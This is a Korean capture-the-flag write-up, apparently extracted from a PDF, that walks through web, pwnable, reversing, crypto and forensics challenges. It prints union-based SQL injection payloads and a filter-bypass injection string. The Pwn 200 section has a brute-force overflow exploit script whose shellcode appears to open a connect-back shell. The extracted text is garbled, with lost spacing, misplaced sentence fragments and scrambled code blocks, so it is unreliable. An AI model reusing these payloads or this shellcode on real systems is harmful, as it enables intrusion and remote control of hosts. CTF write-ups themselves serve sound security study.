Write-up Warming up 1 쓸게없네요쿠키보세요 김희중 Warming up 2 파일을열면위도와경도가주어진사진한장이나옵니다. 겠지만, 일단지도입니다. 어딜봐서지도인지는잘모르 왠지 36과 128 을보아하니위도와경도값같습니다. 우리의친구구글 Maps에서검색을 하니 고수동굴이짜잔하고나타납니다. 끝인줄알았건만, 고수동굴을비밀번호로입력하니또하나가등장합니다. 이번에는 QR Code 가등장하지만, Recognition 부분의색이이상합니다. 그래서깔끔하게
나의친구포토샵으로열심히합성질도해보고색도칠해보고삽질을했으나, 답이뜨지않았습니다. 한참을고민하다가나의친구포토샵으로색을반전시켰더니답이등장했습니다. Warming up 03 pcap 패킷파일이주어졌습니다. 처음에는 MITM 공격을당했다고해서 SSL Data를해킹 당한줄알고한참을찾았으나, 뭔가너무멀리짚은것같아서간단하게생각해보기로했 습니다. 처음한것은 Hierarchy Statics 를보는것이였습니다. HTTP 에서많은통신을한것이보입니다. 그러므로 HTTP를복구해주는천사같은버튼인 Export Objects 로통째로뽑아봅니다. 근데별다른사진은없어보이고이상한파일들이 조금섞여있습니다. 예전에 pcap 관련문제를풀때에파일을복구해도뒤에 GET Parameter 가존재한채로통신하면뒤에확장자가따라붙는것이기억나모든파일의 GET Parameter를제거하여보니 HEYMAN.jpg 라는파일이등장하면서, 여기로오라면서얘 기합니다. Exif 태그등에위도경도를한참찾았으나없습니다. 그럴때에는우리의최고 의포렌식툴 Strings 를이용합니다.
글씨가멋있군요그나저나 뭔가 EOF 부분에 blog.naver.com/xlej1234 라는링크가어렴풋이보입니다. 들어가니사진 두장이등장하고, 두사진을이어서보면키가등장합니다.
Warming up 04 사진파일이하나등장하는데, 뭔가이상합니다. 분명히사진크기는작은데파일은너무 큽니다. 뒤쪽파일에뭔가숨겨져있는것이아닌가생각하고스크롤을쭉쭉내리다보니 End of Image라는문구와함께 Exe 로복구하라고합니다. 복구하게되면 alzip exe파일이 등장합니다. 그런데파일을열어도별다른게없었습니다. 원본사이트에들어가서원본이미지를다운 받아도별다른차이가없었습니다. 그래서알집파일에뭔가숨겨져있구나싶어서리버싱 을시작했습니다. 그러고보니 z0.jpg 라는파일도함께압축이해제되는것을찾았습니다. 그리고나서어디로갔을까생각을하니숨은파일을켜보니깜짝등장했습니다. 이번에도 반전된 QR Code 가등장하며들어가면사이트와함께키가존재합니다. Warming up 05 Python 으로똑같이짜줍니다. 다시짜려니까헷갈려서몇번틀렸네요. result = 0 dest = [93, 58, 44] for Num in xrange(2,5): Mul=1 for i in xrange(1,dest[num-2]+1): Mul = Mul * Num result = result + Mul a = 192374810383638418313423836 b = 434232616678614561798939942 c = 0
c = a ^ b result = result + c print hex(result) Web 100 들어가면 ID와 Name 입력창이뜹니다. guest/guest를해서로그인을하니쿠키값에뭔가 가남습니다. Base64*Base64 꼴로되어있는데, id*id 값, name*name 값꼴로되어있습니다. 그래서 admin으로접속하는것이목표겠다싶어 b64(id)*b64(admin), b64(name)*b64(admin) 을했더니이름만뜨고되지않습니다. 뭔가있다싶어다른쪽으로 좀파다보니디렉토리리스팅이되는것을볼수있습니다. log.txt가남는걸보니뭔가가 있습니다. 그래서 Log injection 을시도했습니다만별다른효과를거두지못했습니다. 좀기 다리니힌트가나와서풀었습니다. 관리자라는힌트였고, 한글관리자, administrator 게싱 도중에 administrator 가풀렸습니다. 또 b64 형식으로되어있었고, b64를풀어서키를인증 하면됩니다. Web 200 게시판사이트가뜹니다. 냄새에서부터 SQL Injection 이납니다. 그래서 Q&A 게시판에들 어가게시판 URL에있는 q_no 에바로시도해봅니다. admin 키를뽑는경우가대부분의유 형입니다. union을이용해 Column 개수를올려가며 Column 개수를맞춥니다. 그후테이블 이름을맞춰야하는데일단시도하기전에게싱을해봅니다. 테이블이름은 users로해두고 일단첫시도를했는데성공합니다. 아싸 999999' union select 1,2,(select column_name from information_schema.columns where table_name='users' limit 0, 1),4,5,6,7%23 999999' union select 1,2,(select column_name from information_schema.columns where table_name='users' limit 1, 1),4,5,6,7%23 999999' union select 1,2,(select column_name from information_schema.columns where table_name='users' limit 2, 1),4,5,6,7%23 999999' union select 1,2,(select column_name from information_schema.columns where table_name='users' limit 3, 1),4,5,6,7%23 999999' union select 1,2,(select column_name from information_schema.columns where table_name='users' limit 4, 1),4,5,6,7%23 userid, key1, key2, key3, key4 가뜹니다. 999999' union select 1,2,(select key1 from users),4,5,6,7%23 999999' union select 1,2,(select key2 from users),4,5,6,7%23 999999' union select 1,2,(select key3 from users),4,5,6,7%23 999999' union select 1,2,(select key4 from users),4,5,6,7%23
를해봅니다. 그러니 key3에서 md5 같은값이뜨고그값인 (2e67e61455385d778550f4a953365364) 이 key 값이었습니다. Web 300 ( 뭔가문제가바뀌었네요, 바뀐문제로다시풀겠습니다.) and, or, 공백등을우회해야합니다. 공백문제는괄호로해결하고숫자를막기때문에함수를떡칠해서수를연산하여해결할 수있습니다. 예전에풀었을땐분명히 ID에입력해서 Injection 했던기억이있는데문제가수정되어버 렸군요. 수정된문제는 ID의막는값을알수없어서 PW 에걸어서해결해야합니다. md5가걸려있다고해도쿼리문을강제로닫아 md5 가진행되지않도록할수있다. ')or(length('as')>length('a'))&&(level<>(length('a')-length('a'))+ < )or(2>1)and(level<>(0))+ > Pwnable 100 Web 에서사용하는라이브러리를분석하는것이목표입니다. 처음에나왔을때파일이깨져 있어서 100 치곤수준이좀높다싶었는데다행히도잘못된파일이었군요. v5 = getenv("http_user_agent"); for ( i = 0; i <= 1; ++i ) { v6 = strchr(v5, 47) + 1; v8 = atoi(v6); v0 = strchr(v5, 40); if (!strncmp(v0 + 1, "yoyos", 5u) ) { puts("u R Operating yoyos<br />\r"); v1 = strchr(v5, 40); if (!strncmp(v1 + 8, "WOW101", 6u) ) { puts("u R Playing WOW_LOL<BR />\r"); v2 = strchr(v5, 40); if (!strncmp(v2 + 20, "PwningBrowser/3.1.337", 0x15u) ) { puts("u R Browsing PwningBrowser<BR />\r"); for ( j = 0; j <= 80; ++j ) *((_BYTE *)&v4 + j) = v5[j]; if ( v8 == 7 ) *((_BYTE *)&v4 + j) = v5[j]; if ( *((_BYTE *)&v4 + j) == 70 ) sub_80488cf(); return sub_80486db();
저코드를만족시켜야키가나오는것같습니다. strchr 함수는문자열의위치를반환해주는함수로써, HTTP_USER_AGENT 에값을입력하여야합니다. 1. / 의위치를가져오는것이먼저인데, 뒤에있는버전값을수정하면 3.1.337 부분으로인 해서 3 이들어가지기때문에그부분전에 / 를먼저입력시켜야합니다. 그후값을 atoi 하여수로바꾸는데 7 이여야합니다. 2. 괄호다음글자는 yoyos, 8글자뒤는 WOW101, 20글자뒤는 PwningBrowser/3.1.337 이여야합니다. 3. 괄호이후값을버퍼에옮긴후, 80번째글자가 F 인가확인합니다. 모두를만족시키는값은 /7(yoyOSFFWOW101FFFFFFPwningBrowser/3.1.337FFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFF 입니다. U R Operating yoyos<br /> U R Playing WOW_LOL<BR /> U R Browsing PwningBrowser<BR /> gksmfqhflaktlsmstmfrlgud<html> Pwn 200 맨처음에 Auth Key 를확인하여올바른접근인지확인합니다. 그후, 2번입력하게되는 데, Buffer의크기는 101 이지만, 실제로입력할수있는값은 102byte 입니다. Stack을보 게되면 msg2 를위한버퍼의크기를입력할수있는값을바꿔버릴수있습니다. char buf; // [sp+23h] [bp-65h]@1 unsigned int8 v3; // [sp+87h] [bp-1h]@1 buf의크기는 101이고자세히 0x87-0x23을하면쓰레기값없이 buf 버퍼바로위에 v3 값이존재하는것을볼수있습니다. return recv(fd, &buf, v3, 0); 이곳에서 Buffer Overflow 가일어날수있는취약점이존재합니다.
shellcode = "\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x68\x3a\xea\xa1\x67\x66\ x68\x22\xb8\x66\x68\x01\x02\x89\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x 31\xc9\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf0\x31\xc0\x50 \x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80" ret = 0xbf000000 while ret <= 0xc0000000: time.sleep(0.05) print hex(ret) sock = socket(af_inet, SOCK_STREAM) sock.connect(("210.124.110.102",7777)) msg = sock.recv(1024) sock.send("diselogoscqresffpsh") msg = sock.recv(1024) sock.send("\x90"*101+"\xff") msg = sock.recv(1024) sock.send("\x90"*105+struct.pack("<i",ret)+"\x90"*(130-len(shellcode))+shellcode) sock.close() ret += 1 Remote 이므로정확한버퍼가위치하는위치를모르기때문에 Brute force로주소를모두해봅니다. 0xbf000000 다음부터진행하기때문에그렇게길게걸리지는않습니다. Pwn 300 유형자체는 200 과비슷한데, 기능이여러가지생겼군요. Exploit 은대회폭풍수면후운지하고파일정리하던도중날려버렸습니다. T.T 방법은 200 과같습니다. Auth Key 날려주고, Buffer 하나가후에 recv 크기가되는데꽉 채워주고, Buffer Size가 204인 Buffer에 SFP까지 208만큼싸주고쉘코드를날려주면됩니 다. 또 Remote이기때문에 Brute Force 해주어야합니다. Bin 100
xap 파일을줍니다. Windows Phone 이없는관계로동적디버깅은못하겠군요. 그러므로 정적디버깅으로진행합니다. xap 파일은일반적인 App들과비슷하게 PK 로시그내쳐가시작하는압축파일입니다. 그러 므로압축을해제하여줍니다. Windows Phone은 C#, Silverlight 등과같은언어로개발하는경우가많기에이는 IL Disassembler 등으로 Disassemble 이가능합니다. 우리의 IL 친구.net Reflector 로열어주면됩니다. 적절히분석하다보면키를입력하는방식이버튼과 수있습니다. Text 변경이벤트에서오는것을볼 drivec와 drived 는사용자가입력하는값이고, 그이전에값을한번더비교합니다. "CIH")) private void PassCode_TextChanged(object sender, TextChangedEventArgs e) { if ((this.drivec.get_password() == "Y2K") && (this.drived.get_password() == { string str = "ecnis"; byte num = Convert.ToByte("11", 2); if (this.passcode.get_text() == string.concat(new object[] { this.drived.get_password(), "_YI", this.charset[5], this.charset[0x13], new string(enumerable.toarray<char>(enumerable.reverse<char>(str.tochararray()) )), 200, num, "_", this.drivec.get_password() )) 2); { Uri uri = new Uri("/Auth.xaml?PassCode=" + this.passcode.get_text(), base.get_navigationservice().navigate(uri); this.passcode.set_visibility(0); string.concat 으로문자열을합친후비교하는것을보아저합친값을알아내야합니다. 1. this.drived.get_password() 는위에서비교하는 CIH 일것입니다. 2. _YI 3. Charset 값은 ctor 생성자에존재합니다. this.charset = new char[] { ; '2', '0', '1', '2', '_', 'S', 'e', 'c', 'u', 'r', 'i', 't', 'y', 'F', 'i', 'r', 's', 't', '_', 'F', 'i', 'g', 'h', 't', 'i', 'n', 'g', '!', '!', '!', ':', ')' 이를이용하여 [5] 값인 S와 0x13 값인 F 를가져옵니다. 4. 위에있는 str 값을가져온후 Reverse 합니다. 그값은 since 입니다.
5. 200과 2진수값 11인 3 을합칩니다. 6. 언더바 7. drivec 값인 Y2K 값을합칩니다. 이를모두합치면 Bin 200 뭔가파일을실행시키면 CIH_YISFsince2003_Y2K 입니다. Show Time 이라면서파일이왕창생성됩니다. ID와 PW 를입력받는데, 리버싱하면이값을정말간단하게알수있습니다. PW는 Nyan&Tom 인데, ID 값은지금기억이안나지만, 이것이중요한것이아닙니다. 한참 ID와 PW를파면서삽질하다가모든알고리즘이너무비슷해서딱히알아낼것이없 었습니다. 그러다가 볼수있습니다. intenila.exe를분석하던시점에프로그램진입점에서여러가지연산을하는것을 v3 = dword_403018 + 5061; dword_403036 = 1835233073; dword_403018 = v3; if ( v3 == dword_40301c / 2 ) { v3 += 980467; word_40303a = 14906; dword_403018 = v3; dword_40301c = 986145; if ( v3 == 986145 ) { v4 = byte_403034; dword_403036 = dword_403030; byte_403034 = word_40303a; dword_403030 = 1835233073; LOBYTE(word_40303A) = v4; byte_403394 = HIBYTE(word_40303A); HIBYTE(word_40303A) = byte_403035; byte_403035 = byte_403394; sub_401140(); exit(-1); 읽기가귀찮다면동적디버깅을해줍시다. Olly로올려주니 DIV EAX 에서뭔가가걸립니다. Exception 이발생하는데, 고의로걸어준 듯한느낌이듭니다. 하지만딱히후에 Stack이 EAX와관련하여수정되는부분도없고 EAX 값은곧파기되기에 EIP 를강제수정하여다음라인으로강제진행해줍니다.
생긴게 Auth Key 같이값이바뀌었습니다. 이를인증하면답이등장합니다. Crypto 100 이상한여자와 Mr. 아베, 마이클잭슨과토끼가춤을추고있습니다. 그리고대화문이밑에등장하는데뭔지는모르겠습니다. 그러므로우리는 Google 에들어갑니다. 우리가저사진을보고알수있는연관된사실은 1. Stick man 2. Dancing 3. Crypto 검색해줍시다. Stick Man Dancing Crypto로 그러니뭔가암호화방식이등장합니다. 음, 아무래도 1:1 대응하는단순치환암호같습니다. 그러므로한글자씩대칭시켜줍니다. 그렇게해주면 EXCUSEMEPLEASEGETOUTOFHERE 가나옵니다. 링크가등장합니다.
( 해당로그가없다고하여풀이를매우세세하게쓰겠습니다.) 첫문장을보면영어로대화를합니다. 그러므로 일단그것을전제 intenila 는영어를사용할수있다는사실을알수있습니다. 1 로하여영어로는대화가무리없음을알아냅니다. 그후 Passing Bug의모든문자열을 x 로바꾸어봅니다. ]45; 5(8 :? ;5076*3 52?;? 46! 6 59 5 3 0 8* 2?3. 4 ] :? 7* ]?( 05*3?538? 4545 75: 75: * 806);8 35(5008*. 8 6) 5?;478: 1 ;46) );538. 6) 6; (634;? 6 50) 38*6?) ^^ 2:8 2:8. xxxx xxx xxx xxxxxxx xxxxx? xx! x xx x xxxxxx xxx. xxx xx xxx xxxx xxx xxxxxxxx? xxxx xxxx xxxx xxxxxxxxxxxxxxxxxxxxx xx xxxxxxx xx xxxx xxxxx. xx xx xxxx? x xxxx xxxxxx ^^ xxx xxx. 문장의형태를보아한글자씩등장하는단어들이있는데많은자연어들중에서도한글자 씩문장에존재할수있는자연어는영어의관사들, 혹은특정주어입니다. (a, an) (I) 여기서전제 2인 Passing bug 가사용한언어는영어를특정값으로변환한것입니다. 특정단어들이여러번반복하는것을발견할수있는데, 이는문장마다특정 IV 같은값 이존재하지않기에단순치환암호임을전제 다시정리하면 3 으로둘수있습니다. 1. Intenila 는영어를사용할수있고, 특수문자언어도사용할수있다. 2. Bug 는특수문자언어만사용할수있는데, 문장이존재하는위치와단어의길이들을추
정해보면영어일가능성이크다. 3. 단순치환암호이기때문에한글자씩맞추어보면된다. 맨마지막문장은마치는문장이기에같은글자가 3번반복하는사실도알아낼수있기에 bye bye 로게싱해볼수있습니다. 또한 Bug의문장후 Intenila의반응은이사실을모르 고있다가알게된것입니다. 그리고 Aha! 는이전에 Bug가사용한문장을이해했다는것이 되며, 해당언어로바꾼것을보아 Bug가저말을이해할수없다는사실을알게된것이 며그러므로저문장은아마도 무슨말인지모르겠다. 라는문장일가능성이큽니다. 그렇기에영어의 수있습니다. What are you talking about? 으로문자열을대칭해보면딱맞는것을볼 주어진정보들로복호화를진행해보면 ]45; 5(8 :? ;5076*3 52?;? What are you talking about? 4800! 6 59 6*;8*605! hello! i am intenila! 46! 6 59 5 3 0 8* 2?3. 4 ] :? 7* ]?( 05*3?538? hi! i a? a gol?en bug. how?o you know our language?,?); 6 59 38*6?)^^?ust i am geniu??^^ 4545 75: 75: * 806);8 35(5008*. 8 6) 5?;478: 1 ;46) );538. 6) 6; (634;? haha okay okay no?eliste?garallen?oe i? authkey o? thi??tage. i? it right? 이정도의빈칸이라면기초적인영어들만알아도충분히읽을수있습니다. Auth Key 부분을알았으면저앞부분을어떻게든읽어내야합니다.
구글에서알아서연관검색어로이름까지알려줍니다. Edgar Allan Poe에대해조금더검 색해보면 Novelist( 소설가) 임을알수있습니다. 도중에이유는모르겠지만 Allan Poe가올 바른이름이네요. Crypto 200 DES 문제가나옵니다. 다른대회에서나왔던문제들은 Weak Key와같은취약점을이용하 여해결하는경우가있었는데, 그내용인줄알고운영진분들께질문을드렸으나차갑게 아니라는대답을받고삽질을시작했습니다. 풀던도중갑자기기억난내용이 Codegate 2012 Pre-qual에서나왔던 DES 문제였습니다. 그문제에서는평문과키를 NOT 연산을거친후에도결과값이 NOT이나왔던사실이기 억이났습니다. 이와같은방법으로풀면방법이있지않을까? 해서평문을 NOT 연산해보니 IUisVeryVeryCute 가나오는데, 이는예제에서나왔던평문을 NOT 연산한결과였습니다. 그래서 Key 값을 NOT 연산한후인증하니인증되었습니다. Crypto 300 나의예쁜에이핑크찡의노래와함께사진이주어졌.. 지만제대로나오질않는군요. 그래서 보니파일 2 개가합쳐져있는것같습니다. 그래서간단한 Python 코드로둘을쪼개줍니다.
a = open("target","rb") a1 = open("a1","wb") a2 = open("a2","wb") data = a.read() cnt = 0 for i in data: if(cnt%2==0): a1.write(i) else: a2.write(i) 파일을쪼개보면진짜나의사랑에이핑크찡의사진과쪽지들이나오는데, Enigma 냄새가납니다. 쪽지들값은 Enigma Simulator를다운받고생각을해보니 Key code 가없잖아! 절망하며 Key Code들을 찾으러여행을떠납니다. 뭔가가숨겨져있을거라생각하니아까나의사랑에이핑크찡의노래가생각납니다. 그안 에노래가있겠지, 해서카빙을떠봐도안나옵니다. 그래서뭔가숨기는방법이있었겠지, 하며파일에 EOF 부분을보니! Image 파일이거꾸로있군요! 또복구해줍시다. a = open("t2","rb") b = open("res2","wb") data = a.read() d2 = data[::-1] b.write(d2) b.close() 적당히 EOF를찾아서깔끔하게복구해주면드디어 Key-code 가나오고, 설정에맞추어 Emulator로돌려주면 Key 가등장! 좀작아서힘들지만한참고생해서키를찾아돌리면됩니다.
Forensics 100 Victim의운영체제는 MAC OS X 입니다. 그렇기에 USB를넣 으면 System.log 에들어가게되는데, 그로그를위주로샅샅이 뒤지다보면정보를얻을수있다. 막판운지의힘으로인해서까먹어버렸다. 지금시간이 11:40이 라빨리써야할것같은데늦을것같다. Forensics 200 I-Doser 이라는압축파일을줍니다. 보아하니노래를주는것 같은데엄청나게삐빅대기만합니다. 그런데특정주파의음만 반복하는것을보아아마도 Spectrogram 같습니다. 그래서우리의최고의음악툴인 Goldwave에넣어주고보면 Key에대해설명하는 Spectrogram 이등장합니다. (R+ex+vuz) 국가명5 글자_ (R+ex+vuz) 그림5 글자_ 동물6 글자_ 글자4글자 대문자로인증해야합니다. R+ex+vuz가무슨의미인가해서동시에재생하게끔 GoldWave 찡으로 Mix 버튼을눌러 3 개의음을전부합쳐주니 DOKDO 가등장합니다. 나머지하나는무엇인가, 해서다시 Spectrogram 을봐도뭔지를모르겠습니다. 도중도중에 동물벽화같이붉은점들이춤추길래그동물인가해서생각을해봐도, 빨리재생을해서 그림을하나로보아도도무지답이안나왔습니다. 그러던도중단비처럼저에게힌트가내 려왔고 SSTV 라는힌트를받았습니다. SSTV를검색해보니 Radio 음성을 RGB로바꾸어주 는것같습니다. 인터넷에서 Tool 을다운로드받고음을재생해주니사진이등장합니다.
원숭이와 인증키는 Forensics 300 DUDE 같습니다. KOREA_DOKDO_MONKEY_DUDE 입니다. 돈사진 2 개가주어집니다. 나의알씨로두사진을비교하다우연히두사진의픽셀값이 조금다른것을보았습니다. 그래서간단히 Python 코드로복구합니다.
import Image diff = Image.open("diff.bmp") orig = Image.open("origin.bmp") width = 1280 height = 960 newone = Image.new('RGB', (width, height)) for j in xrange(0,height): for i in xrange(0,width): p1 = diff.getpixel((i,j)) p2 = orig.getpixel((i,j)) if(p1 == p2): newone.putpixel((i,j), (255,255,255)) else: newone.putpixel((i,j),(0,0,0)) newone.save("res.jpg","jpeg")
이정도복구율이면볼만합니다. Key is If hack is Not Fun, why do ha?? 인데, 뒷부분이안보여서문장에맞게끔적당히게싱해서 hack? 으로입력하니 Key가되었 습니다. Forensics 400 Windows 8의 Users 폴더가주어졌습니다. 일단얼굴책(Facebook) 앱을사용했다고하니 \between0&1\users\rexvuz\appdata\local\packages\microsoft.windowscommunicationsap ps_8wekyb3d8bbwe\ (Windows Coummnication Apps) 로가줍니다. 그후뭔가찾기도귀 찮으니, 우리의최고검색툴인 Windows 검색툴로 facebook 이라검색해봅니다. 메일 5 개가뜹니다. 안에는 Base64 로통신한흔적이있는데, 이를복호화해주면, 특정 php 이름을언급하며여기에들어가면인증할수있고비밀번호는필기장에뒀다고합니다.
필기장은 between0&1\users\rexvuz\documents\notes 에있습니다. 비밀번호는 H4-LUcKy 입니다. ( 하행운이군요.) 그럼이제링크를알아야하는데, 한참을찾고있다가최근검색목록을뒤졌습니다. 그러 다보니 FORENSICS_4U 라는이름부터의심해볼만한가치가있는파일도있습니다. 이를 보면, Temporailiy moved 가뜨며폴더이름도알아냈습니다. 대회서버IP/ 폴더이름/ 알아낸 php 이름으로접속하면 Apache Authentication이등장하며 ID 는 RExVuz 로, 비밀번호는 H4-LUcKy 를입력하니주석에비밀번호가존재합니다.